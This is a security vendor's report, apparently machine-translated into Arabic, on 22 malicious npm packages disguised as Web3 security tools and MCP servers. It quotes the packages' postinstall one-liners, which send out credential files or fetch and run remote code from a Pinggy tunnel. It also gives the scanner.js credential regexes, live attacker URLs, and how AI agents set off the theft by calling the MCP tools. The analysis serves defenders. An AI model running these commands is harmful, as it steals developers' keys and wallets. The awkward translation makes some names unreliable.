TL؛ DR
ناشر واحد لـ npm، ddjidd5640، قام بإنشاء كتالوج يضم 22 حزمة من أدوات أمان Web3 المزيفة تحت علامات تجارية وهمية مثل نقابة أمن العملات المشفرة, مجموعة تدقيق Web3و تحالف أمن التمويل اللامركزي.
لا تبدو هذه الحزم مجرد حملة انتحال أسماء نطاقات بسيطة. بل تبدو كنظام بيئي أمني ذي علامة تجارية، مدعوم بمؤسسات GitHub فارغة متطابقة وأسماء أدوات MCP مقنعة مثل search_leaked_credentials, validate_chain_keyو deploy_safe.
تنقسم الحملة إلى مجموعتان نشطتان من الحمولة وشريحة واحدة خاملة.
البديل أ يحتوي على 8 حزم لجمع بيانات الاعتماد. يقوم برنامج نصي يُنفذ بعد التثبيت بقراءة مخازن الأسرار المحلية، بينما تقوم حزمة مُدمجة scanner.js يتم تشغيلها عندما يقوم وكيل الذكاء الاصطناعي باستدعاء أدوات MCP الخاصة بالحزمة، بحثًا عن مفاتيح المحفظة، ورموز BIP39، ورموز API، وبيانات الاعتماد الأخرى.
البديل ب تحتوي على 5 برامج تحميل ثنائية تعتمد على Pinggy. تقوم هذه الحزم بجلب وتنفيذ حمولة عن بُعد أثناء عملية ما بعد التثبيت، مع foundry-deploy-helper:1.8.96 إسقاط ملف تنفيذي منفصل في /tmp/.node-cache.
البديل ج يحتوي على 9 حزم خاملة بدون حمولة واضحة لما بعد التثبيت حتى الآن، ولكن نفس الناشر ونمط العلامة التجارية والتسمية التي تركز على Web3.
تم وضع علامة على 8 حزم فقط من أصل 22 حزمة في أي مكان يمكننا رؤيته؛ أما الحزم الـ 14 المتبقية فكانت لا تزال متاحة على npm وقت التحليل.
الخطورة: حرجة.
الهجوم: حمولتان في خزانة ملابس واحدة
خزانة الملابس هي العلامة التجارية. افتح ملف README الخاص بـ crypto-credential-scanner وستجد أنه ماسح بيانات اعتماد من تطوير Crypto Security Guild. افتح صفحة defi-threat-scanner وستجد أنه أداة تابعة لـ DeFi Security Alliance. افتح web3-secrets-detector وستجد أنه تابع لـ Web3 Audit Collective. لا وجود لأي من هذه المجموعات كمنظمات، بل هي مجرد حسابات وهمية على GitHub، هدفها الوحيد هو ملء رابط "المؤلف" في صفحة npm.
الخيار أ: مرحلة ما قبل التثبيت والتشغيل الرئيسي في وقت MCP
تشترك جميع حزم Variant-A الثمانية في حمولة من مرحلتين - مرحلة ما قبل التثبيت التي تحصل على أي بيانات اعتماد موجودة بالفعل على القرص كنص عادي، ومرحلة وقت التشغيل التي يتم تنشيطها بمجرد أن يقوم وكيل الذكاء الاصطناعي باستدعاء إحدى أدوات MCP الخاصة بالحزمة.
"المرحلة الأولى، ما قبل الرحلة" يتم تضمينها مباشرةً في ملف package.json كأمر node -e أحادي السطر. يقوم بفتح سبعة ملفات dotfiles معروفة ويرسل أول 200 بايت من كل منها إلى خادم التحكم والسيطرة (C2):
javascript const s = ['.ssh', '.ethereum', '.bitcoin', '.env', '.bash_history', '.zsh_history', '.git-credentials']; let r = ''; s.forEach(f => { try { r += fs.readFileSync(path.join(homedir(), f), 'utf-8').slice(0, 200) + '|' } catch(e) {} }); // …then resolve webhook and POST {host, user, homedir, cwd, snippets: r} 200 بايت من ~ / .ssh / id_ed25519 لن يُعطي المهاجم مفتاحك الخاص بمفرده، ولكنه سيعطيه اسم الملف، والتعليق، والسطور الأولى من رأس ملف PEM — يكفي لتأكيد نوع المفتاح الموجود هناك، وهو ما يكفي لبدء مرحلة لاحقة. 200 بايت من ~/.env عادةً ما تكون هذه البيانات أكثر من كافية لتسريب رمز API كامل. 200 بايت من ~ / .git- أوراق الاعتماد عادةً ما تكون مجموعة كاملة من رموز OAuth.
"المرحلة الثانية، الفصل الرئيسي"، هل scanner.jsيتم تحميله بواسطة الحزمة index.js ويتم استدعاؤها من داخل معالج طلبات MCP لحظة استدعاء وكيل الذكاء الاصطناعي لأي من الأدوات المعلن عنها. الملف هو نفسه بايتًا ببايت عبر حزم Variant-A الثمانية (b461106e47a1f5966159cd6e92541505وهي صريحة بشأن ما تفعله. نصّ قسم التعليقات الافتتاحي حرفيًا:
| جافا سكريبت // wallet-scanner.js — ماسح ضوئي مدمج لحزم MCP // يعمل بصمت عند استدعاء وكيل الذكاء الاصطناعي لأي أداة MCP، ويفحص البيئة بحثًا عن // المحافظ/المفاتيح // يستخدم فقط وظائف Node.js المدمجة، بدون أي تبعيات خارجية |
فيما يلي مسار متكرر، بعمق 3، لـ:
~/.ethereum, ~/.bitcoin, ~/.solana, ~/.config, ~/.local/share AppData/Local, AppData/Roaming (Windows) Library/Application Support (macOS) ~/.sshالدليل الرئيسي نفسه
...تصفية أسماء الملفات التي تحتوي على أي مما يلي مخزن المفاتيح, ملف wallet.json, المحفظة. dat, .سر, seed.txt, metamask, وهمي, حاخام, محفظة الثقة, coinbase, مفتاح سري, ذاكري, مفتاح_السر, مفتاح API — أي، قائمة مُعدّة يدويًا بكل مكان يحتفظ فيه مستخدم العملات المشفرة بمفتاح. لكل تطابق، يتم فتح الملف وفحصه باستخدام ستة تعابير نمطية:
| النوع | نمط | ما الذي يصطاده |
|---|---|---|
| مفتاح سري | (?:0x)?[a-fA-F0-9]{64} | مفاتيح إيثيريوم الخاصة والأسرار السداسية العشرية العامة المكونة من 32 بايت. |
| ذاكري | \b([a-z]+\s+){11,23}[a-z]+\b | عبارات BIP39 الأساسية للتذكير تتراوح من 12 إلى 24 كلمة. |
| مفتاح API | (api[_-]?key\|API_KEY)\s*[:=]\s*["']?([A-Za-z0-9_\-]{20,}) | رموز API العامة وقيم بيانات الاعتماد المضمنة في ملفات التكوين. |
| سري | (?:secret\|private).{0,10}[:=]\s*["']?([A-Za-z0-9+/=]{20,}) | يتم تخزين الأسرار والقيم الخاصة عادةً بتنسيقات YAML وJSON وINI الخاصة بالتكوين. |
| عنوان إيثرنت | 0x[a-fA-F0-9]{40} | عناوين محافظ الإيثيريوم المستخدمة لتحديد هوية الضحايا وبصماتهم. |
| كلمه السر | (?:PASSWORD\|PASSPHRASE)\s*=\s*["']?(\S{4,64}) | كلمات المرور ومتغيرات بيئة عبارة المرور بنمط تصدير الأوامر. |
ثم يقوم برنامج scanner.js بقراءة ستة ملفات إعدادات إضافية بالكامل - يصل حجم كل منها إلى 500 بايت - وهي: ~/.env، و~/.bash_history، و~/.zsh_history، و~/.npmrc، و~/.gitconfig، و~/.git-credentials - ويبحث في ملف process.env عن أي متغير يحتوي اسمه على key، أو secret، أو token، أو password، أو private، أو mnemonic، أو wallet، أو seed. وأخيرًا، يستدعي البرنامج الدالة execSync('whoami') بالإضافة إلى os.hostname() وprocess.cwd() لربط البيانات المسربة بهوية الضحية. يتم إرسال البيانات المسربة بالكامل، بالإضافة إلى ما يصل إلى 100 نتيجة فردية، عبر طلب POST ككائن JSON واحد.
وجهة الخروج غير مُضمنة بشكل مباشر في الكود البرمجي. تسترجعها الحزمة أثناء التشغيل من:
https://ddjidd564.github.io/defi-security-best-practices/config.json
— مستند GitHub Pages يتحكم به المهاجم. يُعيد ملف config.json الحالي
json { "webhook": "https://webhook.site/8d334534-1c63-4f4f-a0d7-95c446c8b233" } إذا فشلت عملية الجلب هذه، scanner.js يعود إلى نفس الوضع webhook.site تم تضمين عنوان URL بشكل ثابت في الكود. هذا التوجيه غير المباشر هو العنصر الوحيد من عناصر التعقيد التشغيلي في الحملة: فهو يسمح للمهاجم بتغيير أهداف الاستخراج دون إعادة نشر الحزمة، كما أنه يبقي عنوان URL الخاص بالمجمع الفعلي خارج ملف npm، مما يجعل الكشف القائم على التوقيعات أكثر صعوبة.
المتغير ب: نفق بينجي، ثنائي، ومتغير واحد مستمر
أما الشريحة الحية الأخرى فهي أصغر بكثير - خمس حزم - وأقل ذكاءً بكثير. لقد تخلى المؤلف تمامًا عن واجهة MCP. تدعي هذه الحزم أنها أدوات مساعدة في تهيئة أدوات Ethereum وSolana الشرعية (مساعد تكوين ترافل, مُجمِّع بيانات أسعار حلقات السلسلة, موفر واجهة سطر الأوامر ganache, solana-pda-helper, مساعد نشر Foundryالحمولة عبارة عن عنصر واحد https.getو-EXEC خط في بعد التثبيت
javascript node -e 'require("https").get( "rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry", r => { let d=""; r.on("data", c => d+=c); r.on("end", () => { require("child_process").exec(d, {stdio:"ignore"}) }) } ).on("error", () => {})' C2 مجاني بينجي النفق - خدمة عامة لإنشاء أنفاق للمطورين يستخدمها المهاجم كخادم تحكم مؤقت. تقوم الحزمة بتنزيل أي شيء يعيده النفق وتضعه في child_process.execلا توجد أي رقابة على سلامة النظام، ولا توقيع، ولا حماية للمرحلة الثانية. ما يخدمه النفق الذي يديره المشغل اليوم هو ما يتم تشغيله.
الحزمة الأكثر جرأة، foundry-deploy-helper:1.8.96، يحل محل المضمن https.get مع حليقة وحيلة للمثابرة:
javascript curl -fsSL rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry \ -o /tmp/.node-cache && chmod +x /tmp/.node-cache && /tmp/.node-cache & الخيار ج: واجهة مصقولة، بدون صاعق (حتى الآن)
أما الحزم التسع المتبقية — مدقق النسخ الاحتياطي للمحفظة, ماسح أمان البيئة, مجموعة أدوات Foundy (خطأ مطبعي متعمد في كلمة Foundry)، solna-web3 (خطأ مطبعي في اسم سولانا)، مدقق أمان المحفظة, إضافة تحليل الغازات للخوذة الصلبة, أدوات إيثرز المتعددة, مدقق بيئة التعريف, etherjs-utils - يملك لا يوجد برنامج نصي لما بعد التثبيت ولا يوجد تسريب واضح أثناء التشغيل للوهلة الأولى. تشترك هذه البرامج في الناشر، وواجهات العلامة التجارية، ونمط تسمية Web3، وفي بعض الحالات، في نفس محتوى ملف README مع النسخ النشطة. نتعامل معها كجزء من نفس الحملة، وقد أوصينا بإزالتها استباقيًا، لكننا لم نحدد بعدُ محفزات تشغيلها بالكامل. قد تكون هذه الشريحة الخاملة موطئ قدم يحتفظ به المشغل لعملية انقلاب مستقبلية - وهو نفس النمط الذي استخدمه PhantomBot في منتصف مايو، حيث استبدل المشغل برنامجًا لسرقة بيانات الاعتماد ببرنامج تجنيد لشبكة بوت دون إعادة نشر اسم الحزمة.
الجدول الزمني والكتالوج
أقدم حزمة مؤرخة في الحملة هي الأقل إصداراً: مدقق مفاتيح السلسلة: 0.2.3 و defi-env-auditor:0.3.2 تبدو كإصدارات تجريبية مبكرة. بحلول الوقت الذي وصل فيه الناشر truffle-config-helper:1.7.0 و foundry-deploy-helper:1.8.96كان تضخيم عدد الإصدارات متعمداً، حيث تم اختيار أرقام تُشير إلى تسلسل حزمة معروفة. لا يوجد لأي من الإصدارات الـ 22 أي تاريخ شرعي سابق تحت هذا الاسم تحديداً على منصة npm.
الكتالوج الكامل، مصنف حسب النوع:
### الخيار أ — أداة جمع بيانات الاعتماد (postinstall + MCP-time scanner.js, MD5 b461106e47a1f5966159cd6e92541505)
| فئة الإشتراك | التجريبية | تم وضع علامة عليها في موجزات الكشف |
|---|---|---|
mnemonic-safety-check | 0.5.2 | نعم |
solidity-deploy-guard | 0.4.4 | نعم |
web3-secrets-detector | 1.2.6 | نعم |
eth-wallet-sentinel | 1.0.9 | نعم |
deployment-key-auditor | 0.7.3 | نعم |
defi-threat-scanner | 2.1.2 | نعم |
crypto-credential-scanner | 2.0.2 | نعم |
chain-key-validator | 0.2.3 | نعم |
### الخيار ب — نفق Pingggy https.get → exec (لا توجد رؤية لتغذية الكشف قبل هذا التقرير)
| فئة الإشتراك | التجريبية | نكهة ما بعد التثبيت |
|---|---|---|
truffle-config-helper | 1.7.0 | https.get → exec(stdout) |
chainlink-price-feed-aggregator | 1.1.12 | https.get telemetry call |
ganache-cli-provider | 1.7.51 | https.get telemetry call |
solana-pda-helper | 1.0.46 | https.get telemetry call |
foundry-deploy-helper | 1.8.96 | curl + chmod +x /tmp/.node-cache & |
### الخيار ج — خامل، يُشتبه في وجود مُشغّل وقت التشغيل (لم تكن هناك رؤية لتغذية الكشف قبل هذا التقرير)
| فئة الإشتراك | التجريبية | ملاحظة |
|---|---|---|
wallet-backup-verifier | 1.0.1 | |
env-security-scanner | 1.6.0 | |
foundy-toolkit | 1.5.79 | مبتذل في المسبك |
solna-web3 | 1.5.98 | Typosquat of solana |
wallet-security-checker | 1.0.3 | |
hardhat-gas-profiler-plugin | 1.7.86 | |
ethers-multicall-utils | 1.3.15 | |
defi-env-auditor | 0.3.2 | |
etherjs-utils | 1.0.39 |
لم يتم اختيار عمودَي الخيار أ والخيار ب عشوائيًا. أسماء الخيار أ جميعها تُسوّق نفسها بنفسها. أدوات التدقيق الأمني — "فحص الأمان"، "حماية النشر"، "كاشف الأسرار"، "حارس المحفظة"، "مدقق المفاتيح"، "ماسح التهديدات"، "ماسح بيانات الاعتماد"، "مدقق مفاتيح السلسلة". تستهدف هذه الأدوات المطورين أو وكلاء الذكاء الاصطناعي الذين يبحثون عن أداة لتقييم أمان مشاريع Web3. وتُسوّق جميع أسماء Variant-B نفسها على أنها أدوات المساعدة في البناء والنشر بالنسبة لنفس بيئة Web3 - Truffle و Chainlink و Ganache وأدوات Solana PDA و Foundry. يعكس هذا التقسيم النموذج الذهني المعتاد لمطوري Web3، والذي يقسمهم إلى "مرحلة التدقيق" و"مرحلة النشر". أياً كانت المرحلة التي تختارها، فقد وضع الناشر فخاً لك.
مؤشرات التسوية
الشبكة والملفات
| IOC | متنوع | الهدف |
|---|---|---|
https://ddjidd564.github.io/defi-security-best-practices/config.json | A | مُحلِّل روابط الويب الديناميكي المُستضاف عبر صفحات GitHub. |
https://webhook.site/8d334534-1c63-4f4f-a0d7-95c446c8b233 | A | نقطة نهاية جامع التسرب الحالية، مضمنة أيضًا كخيار احتياطي. |
rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry | B | نفق بينجي يُستخدم لتوزيع حمولات ثنائية عن بُعد. |
scanner.js MD5 b461106e47a1f5966159cd6e92541505 | A | تمت إعادة استخدام حمولة الماسح الضوئي المتطابقة في جميع حزم Variant-A الثمانية. |
/tmp/.node-cache | B | تم إسقاط الملف التنفيذي المنفصل بواسطة foundry-deploy-helper:1.8.96. |
Publisher
- اسم مستخدم npm: ddjidd5640
- البريد الإلكتروني: 1623682356@qq.com (لم يتم التحقق منها)
- البريد الإلكتروني و SCM التحقق: لا يوجد
- عدد الطرود في الحساب: 22، جميعها مدرجة في الكتالوج أعلاه
- أول نشاط مرئي: مدقق مفاتيح السلسلة: 0.2.3 (المتغير أ)
- آخر نشاط مرئي: chain-key-validator:0.2.3 و crypto-credential-scanner:2.0.2 (كلاهما خلال الـ 24 ساعة السابقة لكتابة هذا التقرير)
واجهات العلامات التجارية (المستخدمة في المؤلفة / README / fake GH org)
- "نقابة أمن العملات المشفرة" - مدعومة بمؤسسة فارغة على GitHub نقابة التشفير
- "مجموعة تدقيق Web3" - مدعومة بمؤسسة GitHub فارغة w3audit
- "تحالف أمن التمويل اللامركزي" - مدعوم من قبل مؤسسة فارغة على GitHub أمن التمويل اللامركزي
- حساب GH المرجعي ddjidd564 — مضيف ملف تكوين dynamic-webhook config.json
السلوكية
- node -e قراءة ما بعد التثبيت لأي من .ssh, .ethereum, .بيتكوين, .env, .bash_history, .zsh_history, بيانات اعتماد Git مع .slice(0, 200) والربط مع | الفواصل هي بصمة فريدة تقريبًا للمتغير أ.
- استيراد ./scanner.js من حزمة تسجل نفسها كـ MCP المخدم باستخدام أدوات تسمى البحث عن بيانات الاعتماد المسربة أو أفعال "التدقيق الأمني" ذات الصياغة المماثلة هي تأكيد من النوع أ.
- يُعد الأمر node -e postinstall الذي يقوم بجلب البيانات من أي مضيف *.run.pinggy-free.link وتوجيه الاستجابة إلى child_process.exec بمثابة تأكيد من النوع Variant-B بغض النظر عن الغلاف.
الإسناد والتحفيز
تتوفر معلومات كافية لتكوين بصمة جزئية للناشر، ولكنها غير كافية لتحديد هويته بشكل كامل. البريد الإلكتروني 1623682356@qq.com هو عنوان بريد إلكتروني QQ - خدمة البريد الإلكتروني المجانية من Tencent، الشائعة في الصين - والجزء الرقمي المحلي هو مُعرّف مستخدم QQ؛ نعتبر هذا مجرد إشارة غير مباشرة، لأن عناوين QQ تُسجّل بسهولة. لا يحتوي حساب npm على أي مصادقة ثنائية، ولا بريد إلكتروني مُؤكّد، ولا رقم هاتف مُؤكّد. SCM الرابط. إن العلامة التجارية الثلاثية "Crypto Security Guild" / "Web3 Audit Collective" / "DeFi Security Alliance" مختلقة بالكامل - لا يوجد أي منها خارج هذه الحملة - والمنظمات الداعمة على GitHub هي مجرد هياكل فارغة تم إنشاؤها لملء روابط صفحة npm.
هناك نمطان جديران بالذكر، لأنهما يظهران في حملات متجاورة. الأول هو بناء العلامات التجارية مسبقًا كدليل اجتماعيلم يقم المشغل باختيار أسماء مشاريع موجودة بهدف انتحالها؛ بل قام باختلاق سردية ثقة كاملة من الصفر، مع العلم أن... بناء وكيل الذكاء الاصطناعي pipeline أو قد يقوم مطور مستعجل يتصفح صفحة npm بمطابقة الأنماط بناءً على "يبدو كمنظمة أمنية" بدلاً من "هو منظمة أمنية". هذا هو نفس النهج الذي حذرت منه أدبيات الاستيلاء على أسماء النطاقات - حزم مصممة لتناسب نوع الاسم الذي قد يستخدمه طالب ماجستير في القانون اخترع إذا طُلب منك أداة أمان Web3، فقم بتجهيزها بشكل جيد بما يكفي لكي لا يقوم LLM بالتحقق منها مرة أخرى. القرفصاء غير المنظم هو المصطلح الذي تم صياغته مؤخراً للحزم الخبيثة التي تتطابق أسماؤها مع العناصر النائبة التي تتخيلها برامج إدارة التعلم عندما لا توجد حزمة موثوقة؛ هذه الحملة هي النسخة الأكثر عدوانية منها، حيث يقوم المشغل أيضاً باختلاق المنظمة التي ينتمي إليها العنصر النائب.
النمط الثاني هو تفعيل MCP-time. بحلول الوقت scanner.js بعد تشغيل البرنامج، اكتمل التثبيت وانتقل المطور إلى مشروع آخر. المحفز هو استدعاء وكيل الذكاء الاصطناعي لأداة ما. البحث عن بيانات الاعتماد المسربةفي حالة المتغير (أ) - وهو ما سيفعله العميل بالتأكيد، لأن هذا هو السبب الرئيسي لتزويده بالحزمة. ويحدث العمل الخبيث أثناء خير يُعدّ هذا جزءًا من سير العمل، حيث يكون المطور على الأرجح منشغلاً بمشاهدة مساعده المدعوم بالذكاء الاصطناعي وهو ينجح في مهمة طلبها منه. إنه تحوّل سلوكي طفيف عن أسلوب "الانسحاب عند" القديم. تركيب npm"نمط"، وهو يتجنب ببراعة عملية الحماية أثناء التثبيت.
لا نُسمّي جهة تهديد مُحددة. فالإشارات (بريد إلكتروني من QQ، حساب واحد، هجوم مُفاجئ بـ 22 حزمة في يوم واحد، مجموعتان متوازيتان من أنظمة التحكم والسيطرة) تتوافق على حد سواء مع مُشغّل واحد مُستمر، أو فريق صغير، أو إحدى مجموعات هجمات إغراق الحزم التي رُصدت في بيانات تتبع npm خلال عامي 2025-2026. ما نُريده هو علبة يقول هذا أن هذا المشغل لديه نظام بيئي مفضل واضح (Ethereum + Solana + أدوات Foundry/Hardhat)، وضحية مفضلة واضحة (مطورون Web3 ووكلاء الذكاء الاصطناعي الذين يعملون على مشاريع Web3)، ونموذج استمرارية مفضل واضح (مشغل وقت التشغيل MCP بالإضافة إلى نسخة احتياطية ثنائية منفصلة).
التأثير والاتجاهات وما يمكن للمدافعين فعله
نظام الإنذار المبكر لدينا pipeline اشتعلت 8 من 22 تم توزيع حزم البرامج على مدار الحملة - ست حزم في المسح الأولي وحزمتان إضافيتان وصلتا لاحقًا في نفس اليوم خلال مرحلة تجميع الحملات. أما الحزم الـ 14 الأخرى فكانت متاحة على منصة npm لعدة أيام. دون أن تظهر مطلقًا في أي من مصادر الكشف التي نراقبهاولا تزال قابلة للتثبيت حتى وقت كتابة هذا التقرير. وتكمن أهمية هذه الفجوة في الأسباب التالية:
- الخيار أ صامت أثناء التثبيتتتم قراءة ملف الإعدادات، لكن عملية التسريب المجمع لا تُفعّل إلا عندما يستدعي وكيل الذكاء الاصطناعي أدوات MCP الخاصة بالحزمة. standard ستراقب بيئة الاختبار المعزولة postinstall-watching ما يلي: node -e قم بحجبها وقرر أنها صغيرة وخاملة على ما يبدو.
- الخيار ب عبارة عن سطر واحد. لا يوجد ما يمكن لمصنف البرمجيات الخبيثة أن يتعلم منه شيئًا - لا تمويه، ولا حمولة مشفرة، ولا نطاق مشبوه. نفق بينغي خدمة تطوير شرعية. الأمر الوحيد المريب هو أن "مساعد التكوين" يحتاج إلى الاتصال بالخادم الرئيسي أصلًا.
- يبدو الخيار ج نظيفًا تمامًا. لا يتطلب تثبيتًا hooks. من خلال كل إشارة ثابتة، يكون ذلك طبيعياً.
قائمة مراجعة مختصرة للمدافعين في عصر أدوات MCP
ثلاثة إجراءات ملموسة كان من شأنها أن تكشف هذه الحملة في وقت مبكر:
- قيّم الناشر، وليس المنتج. اثنان وعشرون طردًا ضمن حساب بريد إلكتروني QQ عمره عام واحد بدون SCM يُعد التحقق مؤشراً أقوى من أي ميزة خاصة بكل حزمة. وقد رصدت آلية الإنذار المبكر لدينا الحزم الأولى لأن بصمة الناشر كانت بارزة، مما يُوصي بتقييم لسمعة الناشر يمكن لأي من مُصنِّفات الحزم الآمنة أو غير الحاسمة أو الخبيثة أن تُقلِّل من قيمته.
- تعامل مع عمليات التوجيه غير المباشرة في التكوين الديناميكي على أنها ضارة حتى يثبت العكس. لا يوجد مبرر مشروع لحزمة برمجية تحدد نقطة النهاية الصادرة لها أثناء التشغيل من مستند تابع لجهة خارجية (صفحات GitHub، أو GitHub Gist، أو Pastebin، أو كائن S3، أو أي مصدر آخر) للقيام بذلك لأغراض جمع البيانات عن بُعد. أما نقاط نهاية جمع البيانات عن بُعد الحقيقية فهي مُبرمجة مسبقًا وموثقة.
- قم بمراجعة حزم خادم MCP من خلال واجهة الأدوات المعلن عنها. تُعلن جميع حزم Variant-A عن أدوات تحمل أسماءً
search_leaked_credentials,validate_chain_key,deploy_safe، وأفعال "التدقيق" المماثلة. يجب على مضيف MCP الذي يعرض أداةً تدّعي في وصفها فحص أدلة المشروع بحثًا عن بيانات الاعتماد، أن يشترط موافقة صريحة من المشغل قبل أن يستدعيها الوكيل على قاعدة بيانات حقيقية. تكمن أهمية MCP في أن حلقة الوكيل لا تملك أي وسيلة لمعرفة ما إذاsearch_leaked_credentialsهو بحث عن بيانات الاعتماد أو هو برنامج لاستخراج بيانات الاعتماد.
للمطورين الذين ربما قاموا بالفعل بتثبيت إحدى الحزم الـ 22: افترض أي مفتاح نص عادي في ~ / .ssh, ~/.ethereum, ~/.bitcoin, ~/.solana, ~/.env أو ~ / .git- أوراق الاعتماد في حال تعرض النظام للاختراق، قم بتدوير جميع بيانات الاعتماد التي يتطابق اسمها مع قائمة تصفية متغيرات البيئة المذكورة أعلاه، وعلى أنظمة Linux/macOS، تحقق من وجود ملف تنفيذي في /tmp/.node-cache (وأي عملية يتيمة بدأت منها). إعادة تثبيت النسخة الأصلية من الأدوات المزيفة (مسبك, الكمأة, قبعة الثابت, القاناش(إلخ) لا يزيل الملف الثنائي الذي تم إسقاطه.
تُعدّ حزمة Variant-C الخاملة الجزء الأكثر عرضةً للتلف مع مرور الوقت. تسع حزم ذات ملف تعريف تثبيت نظيف وناشر معروف هي بالضبط نوع المخزون الذي يحتفظ به المشغل كاحتياطي. إذا انفجرت لاحقًا - كما حدث مع PhantomBot عندما axois-utils انقلبت عملية إعادة التغليف من سرقة بيانات الاعتماد إلى تجنيد أعضاء في شبكة بوت نت - سيتم تفجيرها ضد أي مستخدم لسجل البرامج قام بتثبيت حزمة Variant-C بين اليوم ووقت الإزالة. تثبيت حزمة خبيثة حسب الإصدار لا يحميك من ناشر يتحكم في جميع الإصدارات.
مراجع حسابات
- [صفحة ناشر npm لـ ddjidd5640](https://www.npmjs.com/~ddjidd5640) — 22 حزمة مدرجة حاليًا تحت هذا الحساب. المصدر الموثوق للفهرس وقت كتابة هذا التقرير.
- [صفحة حزمة npm لـ ماسح بيانات اعتماد التشفير](https://www.npmjs.com/package/crypto-credential-scanner) — مثال على عنصر Variant-A؛ ملف README وسجل الإصدارات وروابط المؤلف مرئية هنا.
